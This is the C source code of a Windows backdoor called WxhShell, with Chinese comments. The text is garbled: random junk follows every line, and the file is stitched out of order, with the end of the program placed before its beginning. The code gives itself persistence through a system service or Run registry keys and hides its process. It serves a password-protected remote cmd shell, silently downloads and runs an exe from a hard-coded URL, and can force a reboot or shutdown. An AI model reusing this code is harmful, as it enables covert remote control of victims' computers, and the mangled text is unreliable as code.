    closesocket(wsh); lc*<UZR  
    ExitThread(0); aK,G6y  
    } P2lj#aQLS  
    break; :imp~~L;  
    } wp} PQw:  
  // 获取shell rHP5;j<]  
  case 's': { chxO*G  
    CmdShell(wsh); ,l~i|_  
    closesocket(wsh); $oh}!Smt  
    ExitThread(0); {| Tl3  
    break; D].1X0^hp  
  } w,^!kO0)~8  
  // 退出 Xbfn@7m  
  case 'x': { EKgTRRW  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); HogT#BMs  
    CloseIt(wsh); 1}'|HAu  
    break; +}% 4]O;  
    } MbF.KmV  
  // 离开 <zrGPwk  
  case 'q': { UE*M\r<  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); hH%@8'1v  
    closesocket(wsh); 2jA-y!(e  
    WSACleanup(); JEj.D=@[  
    exit(1); D;m>9{=  
    break; |o6B:NH,rg  
        } 58WL8xu  
  } ?&"-y)FG  
  } Td?a=yu:J  
\=i>}Sg  
  // 提示信息 @*!8  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ?oP<sGp  
}  z7>  
  } KYMz  
SxH b76 ;  
  return; PY~cu@'k{  
} $o5<#g"/T  
cR _ 8 5  
// shell模块句柄 ]H%y7kH8  
int CmdShell(SOCKET sock) y1z4qSeM  
{ 1^$ vmULj  
STARTUPINFO si; r6JdF!\d  
ZeroMemory(&si,sizeof(si)); Q/L:0ovR  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; :IvKxOv  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock;  qauk,t  
PROCESS_INFORMATION ProcessInfo; # sm>;+J  
char cmdline[]="cmd"; QF Vy2 q  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); r,aV11{  
  return 0; XJ.bK  
} 9*U3uyPi  
?o?~Df&  
// 自身启动模式 "1yXOy^2  
int StartFromService(void) Fn1|Wt*  
{ J1KV?aR  
typedef struct \= =rdW-  
{ 8 Zhx&  
  DWORD ExitStatus; >Ta|#]{  
  DWORD PebBaseAddress; {L4ta~2/T  
  DWORD AffinityMask; ]gx]7  
  DWORD BasePriority; CM|?;PBuv  
  ULONG UniqueProcessId; c/%i,N\5  
  ULONG InheritedFromUniqueProcessId; cba ~  
}   PROCESS_BASIC_INFORMATION; 6O>NDTd%  
09HlL=0q  
PROCNTQSIP NtQueryInformationProcess; AQ7w5}g+V  
%dw@;IZ#8{  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; fIWOo >)D  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 4'_PLOgnX  
1U^;fqvja  
  HANDLE             hProcess; TldqF BX  
  PROCESS_BASIC_INFORMATION pbi; Q!9AxM2K  
Z]jm.'@z@  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 5R"iF+p4  
  if(NULL == hInst ) return 0; tY'fFz^Ho  
fq-e2MCX5  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); ezS@LFaA  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); q &]I  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); t4X:I&l-M:  
)! +~q!A  
  if (!NtQueryInformationProcess) return 0; nJC/yS |  
/?C}PM  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); 2 ,RO  
  if(!hProcess) return 0; bVO{,P2 o  
qp;eBa  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; G |033(j  
Y)lYEhF  
  CloseHandle(hProcess); l3[2b Qx  
U|Z Yoc+](  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 2SVBuV/R  
if(hProcess==NULL) return 0; }M*yE]LL;Z  
ZgarxV*  
HMODULE hMod; 3V2dN )\  
char procName[255]; D;nm~O%  
unsigned long cbNeeded; Okxuhzn>"  
KsVN<eR{  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 7.}Vvg#G  
s_:7dD  
  CloseHandle(hProcess); yUd>EnQna  
9 M>.9~  
if(strstr(procName,"services")) return 1; // 以服务启动 &![3{G"+>l  
^V,?n@c!  
  return 0; // 注册表启动 JiH^N!  
} p^J=*jm)x  
{B|)!_M#  
// 主模块 \7]0vG  
int StartWxhshell(LPSTR lpCmdLine) 0;6eSmF  
{ l4: B(  
  SOCKET wsl; tr?U/YG  
BOOL val=TRUE; e,V @t%  
  int port=0; ;xqN#mqq  
  struct sockaddr_in door; N5K\h}'%  
Z8 eB5!$  
  if(wscfg.ws_autoins) Install(); IPHZ~'M  
,y5,+:Y ~  
port=atoi(lpCmdLine); P-]u&m/6  
:yFUlO:  
if(port<=0) port=wscfg.ws_port; -?%81 z.Qq  
d0U-:S-  
  WSADATA data; !DU4iq_.  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; -}:; EGUtd  
V)<Jj  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   3:wN^!A}ve  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); C6` Tck!  
  door.sin_family = AF_INET; UmEc")3  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); b;xn0sDn#  
  door.sin_port = htons(port); j3=%J5<  
dBRK6hFC  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { Bl$Hg,in-  
closesocket(wsl); "($"T v2  
return 1; -HQ(t  
} hlKM4JT\  
@{V bu  
  if(listen(wsl,2) == INVALID_SOCKET) { $@utlIXA'  
closesocket(wsl); 6>Dm cG:.  
return 1; 2UbTKN  
} M1HGXdN*B  
  Wxhshell(wsl); #EG$HX]  
  WSACleanup(); ){}1u ?  
yor6h@F1  
return 0; 9u0<$UY%  
Ie"eqO!  
} 4(nwi[1Y  
@h=r;N#/`P  
// 以NT服务方式启动 i U"2uLgb  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) +Hd'*'c  
{ ?Z(xu~^/  
DWORD   status = 0; fug F k  
  DWORD   specificError = 0xfffffff; Gov]^?^D-  
M4}b l h#  
  serviceStatus.dwServiceType     = SERVICE_WIN32; 5do49H_  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; 3sD/4 ?  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; _ ci8!PP  
  serviceStatus.dwWin32ExitCode     = 0; a1dkB"Zp.p  
  serviceStatus.dwServiceSpecificExitCode = 0; F<0GX!p4u  
  serviceStatus.dwCheckPoint       = 0; c9O0YQ3&8  
  serviceStatus.dwWaitHint       = 0; ;Z6ngS  
&"6%D|Z0  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); Xte"tf9(C  
  if (hServiceStatusHandle==0) return; '5etZ!:  
NTV@,  
status = GetLastError(); +yd{-iH  
  if (status!=NO_ERROR) Mwtd<7<!A  
{ hM nJH_siY  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; ~5:-;ZbZ  
    serviceStatus.dwCheckPoint       = 0; ~O8Xj6  
    serviceStatus.dwWaitHint       = 0; 5H!6m_,w  
    serviceStatus.dwWin32ExitCode     = status; k#"}oI{< 6  
    serviceStatus.dwServiceSpecificExitCode = specificError; }AG dWt@  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); >NJ`*M  
    return; -'Oq.$Qq  
  } 0eFvcH:qG  
hQ_g OI  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; 1X-fiQJe  
  serviceStatus.dwCheckPoint       = 0; l*-$H$  
  serviceStatus.dwWaitHint       = 0; i%# <Hi7  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 1kczlTF  
} `nv82v  
<sor;;T  
// 处理NT服务事件,比如:启动、停止 wS;hC&~2  
VOID WINAPI NTServiceHandler(DWORD fdwControl) N VBWF  
{ I?X!v6  
switch(fdwControl) k:DAko}  
{ v%8S:3  
case SERVICE_CONTROL_STOP: {GhM,-%e  
  serviceStatus.dwWin32ExitCode = 0; \QP1jB  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; rvETt  
  serviceStatus.dwCheckPoint   = 0; 0oPcZ""X]  
  serviceStatus.dwWaitHint     = 0; XAb-K?)   
  { Bs;.oK5!n@  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); E3d# T  
  } q-D|96>8  
  return; $;As7MI  
case SERVICE_CONTROL_PAUSE: '[`pU>9  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; IgNL1KRD  
  break; 2>'/!/+R  
case SERVICE_CONTROL_CONTINUE: k*k 9hv?  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; {Ax{N  
  break; KiYz]IM$4  
case SERVICE_CONTROL_INTERROGATE: &- 2i+KjEX  
  break; >Ni<itze$i  
}; ;H`>jI$  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 97\9!)`,  
} zOT(>1'  
3-U@==:T  
// 标准应用程序主函数 @ZtDjxN &  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) jCxg)D7W  
{ b^C2<'  
gvy c(d  
// 获取操作系统版本 qIg^R@  
OsIsNt=GetOsVer(); zMbz_22*  
GetModuleFileName(NULL,ExeFile,MAX_PATH); PNG!q}(c  
\Ss6F]K]  
  // 从命令行安装 y)D7!s  
  if(strpbrk(lpCmdLine,"iI")) Install(); `uLH3sr  
Mhiz{Td  
  // 下载执行文件 1Kc[ ).O1  
if(wscfg.ws_downexe) { rXG?'jN  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) P_8z'pYd>  
  WinExec(wscfg.ws_filenam,SW_HIDE); %YbcI|i]<0  
} Q{"QpVY8  
QfHO3Y6h[  
if(!OsIsNt) { q#!]5  
// 如果时win9x,隐藏进程并且设置为注册表启动 yo@S.7[/  
HideProc(); s+l3]Hd  
StartWxhshell(lpCmdLine); NsY D~n  
} F,'rW:{HMt  
else E3==gYCe*  
  if(StartFromService()) 4A@77#:J5  
  // 以服务方式启动 Kfl#78$d  
  StartServiceCtrlDispatcher(DispatchTable); 9/_F  
else b w2KD7  
  // 普通方式启动 1Zj NRg=  
  StartWxhshell(lpCmdLine); _0: }"!Gq  
T_=iJ: Q  
return 0; F#^<t$5t  
} @#CZ7~Hn  
L/sMAB  
F:B 8J4/  
m_pqU(sP  
=========================================== X:1&Pdi  
[;n/|/m,  
gvLzE&V}  
g!*5@k|C  
yv2N5IQ>{V  
HX&G  k  
" -fILXu  
UBZ37P  
#include <stdio.h> 4`M7 3k0  
#include <string.h> d$}z,~sN  
#include <windows.h> $wBF'|eU  
#include <winsock2.h> THl={,Rw`  
#include <winsvc.h> jFr[T  
#include <urlmon.h> &?)? w-$p  
|0Y: /uL#)  
#pragma comment (lib, "Ws2_32.lib") &ap&dM0@%a  
#pragma comment (lib, "urlmon.lib") lNwqWOWy  
P56B~M_  
#define MAX_USER   100 // 最大客户端连接数 o6 l CP&  
#define BUF_SOCK   200 // sock buffer d[7B,l:RN  
#define KEY_BUFF   255 // 输入 buffer )5NjwLs  
"7X[@xX@  
#define REBOOT     0   // 重启 gFQ\zOlY8a  
#define SHUTDOWN   1   // 关机 *?v_AZ  
2^;zj0]Rt  
#define DEF_PORT   5000 // 监听端口 T>cO{I  
Wp2$L-T&$  
#define REG_LEN     16   // 注册表键长度 }8e_  
#define SVC_LEN     80   // NT服务名长度 a F!Im}  
YQ7\99tj  
// 从dll定义API rQb=/@-  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); *+|,rcI  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); |T)  $E  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); L%Mj{fJ>Wm  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); 3Ud{W$Ym  
4A {6)<e  
// wxhshell配置信息 5ca!JLs  
struct WSCFG { LyuA("xB#  
  int ws_port;         // 监听端口 uG){0%nX  
  char ws_passstr[REG_LEN]; // 口令 RoLN#  
  int ws_autoins;       // 安装标记, 1=yes 0=no m<liPl uv  
  char ws_regname[REG_LEN]; // 注册表键名 >.o<}!FW  
  char ws_svcname[REG_LEN]; // 服务名 2K VX  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 s$D"  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 4Wk`P]?^  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 6'[gd  
int ws_downexe;       // 下载执行标记, 1=yes 0=no 8quH#IhB  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" %+ : $uk[  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 =_=0l+\}  
o#\c:D*k  
}; {TVQ]G%'b  
K 3.z>.F'h  
// default Wxhshell configuration ym;I(TC+  
struct WSCFG wscfg={DEF_PORT, > Hwf/Gf[  
    "xuhuanlingzhe", dh-?_|"  
    1, me YSW  
    "Wxhshell", B".3NQ  
    "Wxhshell", W!R7D%nX  
            "WxhShell Service", U: q4OtiP  
    "Wrsky Windows CmdShell Service", l[Ko>  
    "Please Input Your Password: ", Y;1s=B9  
  1, ZYLPk<<  
  "http://www.wrsky.com/wxhshell.exe", 2UeK%-~W?  
  "Wxhshell.exe" t3<HE_B|  
    }; R q .2  
RHu4cK!5  
// 消息定义模块 IO{iQ-Mg  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; _+ERX[i  
char *msg_ws_prompt="\n\r? for help\n\r#>"; q-r5zGI  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; jP31K{G?  
char *msg_ws_ext="\n\rExit."; ow4|GLU^;  
char *msg_ws_end="\n\rQuit."; V(=3K"j  
char *msg_ws_boot="\n\rReboot..."; 1B`JvNtd  
char *msg_ws_poff="\n\rShutdown..."; tpQ8 m(  
char *msg_ws_down="\n\rSave to "; j)mi~i*U  
; ]VLA9dC  
char *msg_ws_err="\n\rErr!"; wpf  
char *msg_ws_ok="\n\rOK!"; $AF,4Ir-b+  
)(h<vo)-zX  
char ExeFile[MAX_PATH]; ,!bcm  
int nUser = 0; yHnN7&  
HANDLE handles[MAX_USER]; EASN#VG  
int OsIsNt; l'RuzBQr  
6.M!WK{+  
SERVICE_STATUS       serviceStatus; iUk#0 I  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; (Eo#oX  
LDbo=w  
// 函数声明 uiq;{!dop  
int Install(void); q]DE\*@  
int Uninstall(void); ,A9{x\1!  
int DownloadFile(char *sURL, SOCKET wsh); i)[~]D.EH8  
int Boot(int flag); r?R!/`f  
void HideProc(void); ~-BIU Z;  
int GetOsVer(void); J\Z\q  
int Wxhshell(SOCKET wsl); *?!A  
void TalkWithClient(void *cs); 5[A4K%EL  
int CmdShell(SOCKET sock); f/pr  
int StartFromService(void); $`txU5#vs  
int StartWxhshell(LPSTR lpCmdLine); aq$adPtu  
e[%g'}D:-  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); |c:xK{Ik  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); p 4Y 2AQ9  
.!Os'Y9[,  
// 数据结构和表定义 ILT.yxV  
SERVICE_TABLE_ENTRY DispatchTable[] = 0[!38  
{ UP@-@syGw  
{wscfg.ws_svcname, NTServiceMain}, S*a_  
{NULL, NULL} #6za  
}; |^t8ct?x~  
_.BX#BIF  
// 自我安装 /;xmM 2B'  
int Install(void) QW6\~l 4  
{ QiQO>r  
  char svExeFile[MAX_PATH]; ]F1ZeAh5  
  HKEY key; $jNp-5+Q;  
  strcpy(svExeFile,ExeFile); ^ ,yh384  
(C!33s1  
// 如果是win9x系统,修改注册表设为自启动 < c[dpK5c  
if(!OsIsNt) { S`&YY89{&  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { a*nx2d  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); y3pr(w9A  
  RegCloseKey(key); CDgu`jj%]  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { I:,D:00+  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); |T^c(RpOE  
  RegCloseKey(key); %SD=3UK6  
  return 0; U#1 ,]a\  
    } 9|RR;k[  
  } w65D;9/;  
} H| 1O>p&  
else { >$p|W~x  
gv,8Wo  
// 如果是NT以上系统,安装为系统服务 '}$$o1R  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); Z4@GcdZ  
if (schSCManager!=0) 63n<4VSH  
{ [_?dpaTt  
  SC_HANDLE schService = CreateService a5# B&|#q  
  ( kZ3w2=x3v  
  schSCManager, %{ToWLb{I  
  wscfg.ws_svcname, ?\NWKp  
  wscfg.ws_svcdisp, BV01&.<|  
  SERVICE_ALL_ACCESS, Zqnwf  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , {expx<+4F  
  SERVICE_AUTO_START,  ]7yr.4?a  
  SERVICE_ERROR_NORMAL, hIv8A_>@`  
  svExeFile, aZ{]t:]  
  NULL, (5(TbyWwD  
  NULL, P\R#!+FgW8  
  NULL, N9A#@c0O  
  NULL, _]# ^2S  
  NULL x[5uz))  
  ); $D)Ajd;  
  if (schService!=0) Vy7o}z`  
  { lboi\GP|  
  CloseServiceHandle(schService); =1'vXPv`  
  CloseServiceHandle(schSCManager); -*T<^G;rK  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); a{FCg%vD)  
  strcat(svExeFile,wscfg.ws_svcname); n6Qsug$z  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { 96FS-`  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); W dNOE;R  
  RegCloseKey(key); da/Tms`T  
  return 0; yhpeP  
    } p\ }Ep  
  } vz-O2B_u  
  CloseServiceHandle(schSCManager); byTTLs,}d  
} (7Q Fy  
} R#x~f  
Btgxzf  
return 1; ~l@ h  
} gL:Vj%c  
Z>si%Npm\  
// 自我卸载 O<o>/HH$  
int Uninstall(void) P@wuk1  
{ 2/W5E-tn  
  HKEY key; FbWcq_  
JgmX=6N  
if(!OsIsNt) { ~DYv6-p%  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { .h7`Q{  
  RegDeleteValue(key,wscfg.ws_regname); Z/f%$~Ch  
  RegCloseKey(key); <+mYC'p  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { _sGmkJi]  
  RegDeleteValue(key,wscfg.ws_regname); W1T% Q88  
  RegCloseKey(key); e(~9JP9  
  return 0; L" GQ Q  
  } =W_Pph  
} k:qS'  
} .*(xkJI3  
else { %HAforH  
V6ICR{y<3  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); >{HQ"{Q  
if (schSCManager!=0) PV\aQO.mo  
{ 8$TSQ~  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); ;qN;oSK  
  if (schService!=0) cfP9b8JG  
  { QU;bDNq,c  
  if(DeleteService(schService)!=0) { qG<3H!Z!ky  
  CloseServiceHandle(schService); Lq6R_ud p  
  CloseServiceHandle(schSCManager);  UqwU3  
  return 0; CVy\']  
  } 8h%oJ4da   
  CloseServiceHandle(schService); 4Nun-(q  
  } _ / >JM0  
  CloseServiceHandle(schSCManager); #{DX*;1m  
} u9zEhfg8  
} 5Y(<T~  
Bgvv6(i  
return 1; L HW\A8  
} Qu;cl/&  
'OTQiI^t=  
// 从指定url下载文件 * ",/7(  
int DownloadFile(char *sURL, SOCKET wsh) fR$_=WWN>h  
{ ' %&gER  
  HRESULT hr; js..k*j  
char seps[]= "/"; ^P}jn`4  
char *token; d^(7\lw|  
char *file; `i:DmIoz  
char myURL[MAX_PATH]; @?vC4+'  
char myFILE[MAX_PATH]; PptVneujI  
R9z:K_d,  
strcpy(myURL,sURL); 6Lb(oY}\3  
  token=strtok(myURL,seps); ?XIB\7}  
  while(token!=NULL) 2Pm[ kD4E=  
  { )4MM>Q  
    file=token; u _mtdB'  
  token=strtok(NULL,seps); SYE+A`a  
  } 2t[P-on  
A+w'quXn  
GetCurrentDirectory(MAX_PATH,myFILE); }B e;YIhG  
strcat(myFILE, "\\"); h0O t>e"  
strcat(myFILE, file); ZO#f)>s2  
  send(wsh,myFILE,strlen(myFILE),0); E#!tXO&,  
send(wsh,"...",3,0); kfV}ta'^S  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); qeUT]* w  
  if(hr==S_OK) K'_qi8Z  
return 0; L~+/LV  
else \}Al85  
return 1; ~jR4%VF  
qipV'T,S  
} K2> CR$L  
{ )-8P  
// 系统电源模块 !sG# 3sUe[  
int Boot(int flag) (hJ&`Tt  
{ dM=45$\q  
  HANDLE hToken; tiGBjTPt  
  TOKEN_PRIVILEGES tkp; DYDeb i6  
vvI23!H  
  if(OsIsNt) { 2Onp{,'}  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); :o 8XG  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); 48IrC_0j  
    tkp.PrivilegeCount = 1; QdrZi.qKH  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; smUSR4VK  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); /rIyW?& f  
if(flag==REBOOT) { lQM&q  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) sg8[TFX@Z  
  return 0; hm*cGYV/  
} *\(MG|S  
else { ~ \]?5 nj  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) l+a1`O  
  return 0; -tZ~&1"  
} GoLK 95"]  
  } @jxP3:s  
  else { Rb!y(&>v  
if(flag==REBOOT) { F )Iz:  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) @C|nc&E2s  
  return 0; Obf RwZh?q  
} w^"IR  
else { v YJ9G"E  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) ;_=N YG.  
  return 0; PU,%Y_xR  
} UCt}\IJ  
} /go|r '  
6CCm1F{`  
return 1; AP1&TQ,&  
} rQxiG[0  
"<"m}rE?Q  
// win9x进程隐藏模块 e }Mf  
void HideProc(void) r7,}"Pl  
{ e\em;GTy  
.* )e24`  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); .P <3+  
  if ( hKernel != NULL ) byFO^pce  
  {  l*?_@  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); )ViBH\.*p  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); 9=mc3m:Tb(  
    FreeLibrary(hKernel); 1<tJ3>Xl  
  } i!x>)E  
en'"" w  
return; wRvh/{xB  
} =EYWiK77a  
z2>LjM) #  
// 获取操作系统版本 [l3ys  
int GetOsVer(void) $nb.[si\  
{ 6w=`0r3hy  
  OSVERSIONINFO winfo; n y cn  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); <iA\ZS:  
  GetVersionEx(&winfo); %q}[ZD/HD  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) /w1M%10   
  return 1; q3<kr<SP  
  else En:>c  
  return 0; 6`@b@Kd  
} F"bz<{  
?j0yT@G  
// 客户端句柄模块 hrm<!uKn  
int Wxhshell(SOCKET wsl) =ecLzk"+F  
{ |r*)U(c`  
  SOCKET wsh; ae2Q^yLA  
  struct sockaddr_in client; lYTQg~aPm  
  DWORD myID; X$;&Mdo.  
|his8\C+x  
  while(nUser<MAX_USER) f4 qVUU  
{ zXM,cV/s   
  int nSize=sizeof(client); ?G5,}%  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); ?!K6")SE  
  if(wsh==INVALID_SOCKET) return 1; lXg5UrW  
tYXE$ i  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); {l)$9!  
if(handles[nUser]==0) EJ>&\Iq  
  closesocket(wsh); fZezDm(Q  
else 6Cz O ztn  
  nUser++; qVKdc*R-  
  } o K>(yC[  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); 1X[^^p~^  
d=n@#|3  
  return 0; Kv(R|d6Lp  
} }DXG;L  
=gs-#\%  
// 关闭 socket (-g*U#   
void CloseIt(SOCKET wsh) 1$8@CT^m  
{ Z2gWa~dBC  
closesocket(wsh); d\ 8v VZ  
nUser--; W&=OtN U!  
ExitThread(0); UrHndnqM  
} +ID\u <?  
[lg!*  
// 客户端请求句柄 vjq2(I)u  
void TalkWithClient(void *cs) )Xh}N  
{ o]~\u{o#.  
d)e mTXB(  
  SOCKET wsh=(SOCKET)cs; `0N7Gc  
  char pwd[SVC_LEN]; J Cq>;br.  
  char cmd[KEY_BUFF]; _0jR({\  
char chr[1]; {G Jl<G1  
int i,j; +]s,VSL5`  
S~i9~jA  
  while (nUser < MAX_USER) { >UMxlvTg&  
4SZ,X^]I>  
if(wscfg.ws_passstr) { 1vxRhS&FY  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); P+0'^:J  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ejlns ~  
  //ZeroMemory(pwd,KEY_BUFF); +U2lwd!j  
      i=0; "~5cz0 H3v  
  while(i<SVC_LEN) { P{-- R\  
HJ]xZ83pC  
  // 设置超时 | L8 [+_m  
  fd_set FdRead; V2ih/mh   
  struct timeval TimeOut; pY`$k#5  
  FD_ZERO(&FdRead); ts!tv6@  
  FD_SET(wsh,&FdRead); .P$m?p#  
  TimeOut.tv_sec=8; ]:Gy]qkO  
  TimeOut.tv_usec=0; )Cl>%9  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); %+H_V1F  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); 3l~+VBR_  
BYB4- ,  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); $G-<kC}8:  
  pwd=chr[0]; KGYbPty}  
  if(chr[0]==0xd || chr[0]==0xa) { ?1D!%jfi  
  pwd=0; B S*79heY  
  break; $ ]s^M=8  
  } 4AS%^&ah  
  i++; >U vP/rp  
    } 7a1o#O  
,7LfvZj4[  
  // 如果是非法用户,关闭 socket B;r_[^  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 3'Y-~^ml|  
} ^Hv&{r77  
 px<psR5  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); Lw}-oE !U  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); T82 `-bZ  
:QGkYJ  
while(1) { oFj_o  
^e8xg=8(  
  ZeroMemory(cmd,KEY_BUFF); -K'UXoU1  
UZI:st   
      // 自动支持客户端 telnet标准   o]q~sJVk6  
  j=0;  u]Ku96!  
  while(j<KEY_BUFF) { 6sBt6?_T  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); mol,iM*l  
  cmd[j]=chr[0]; zr /v.$<  
  if(chr[0]==0xa || chr[0]==0xd) { Y"H`+UV  
  cmd[j]=0; 1z PS#K/3  
  break; 8>9Mh!t}(I  
  } ]SCHni_  
  j++; ^eh.Iml'@  
    } 7GOBb|  
?4bYb]8Z  
  // 下载文件 2g= 6 s  
  if(strstr(cmd,"http://")) { rGP;0KtQ  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); 5vyg-'  
  if(DownloadFile(cmd,wsh)) A|\A|8=b  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); ,`}y J*7  
  else pUHgjwT'U  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); "E\vdhk  
  } !T,<p    
  else { tnJ7m8JmC  
8\rca:cF   
    switch(cmd[0]) { #yochxF_  
  f)*?Ji|5F  
  // 帮助 _d]{[& p4t  
  case '?': { .o/|]d`%  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); 93]63NY  
    break; 0`x>p6.)G  
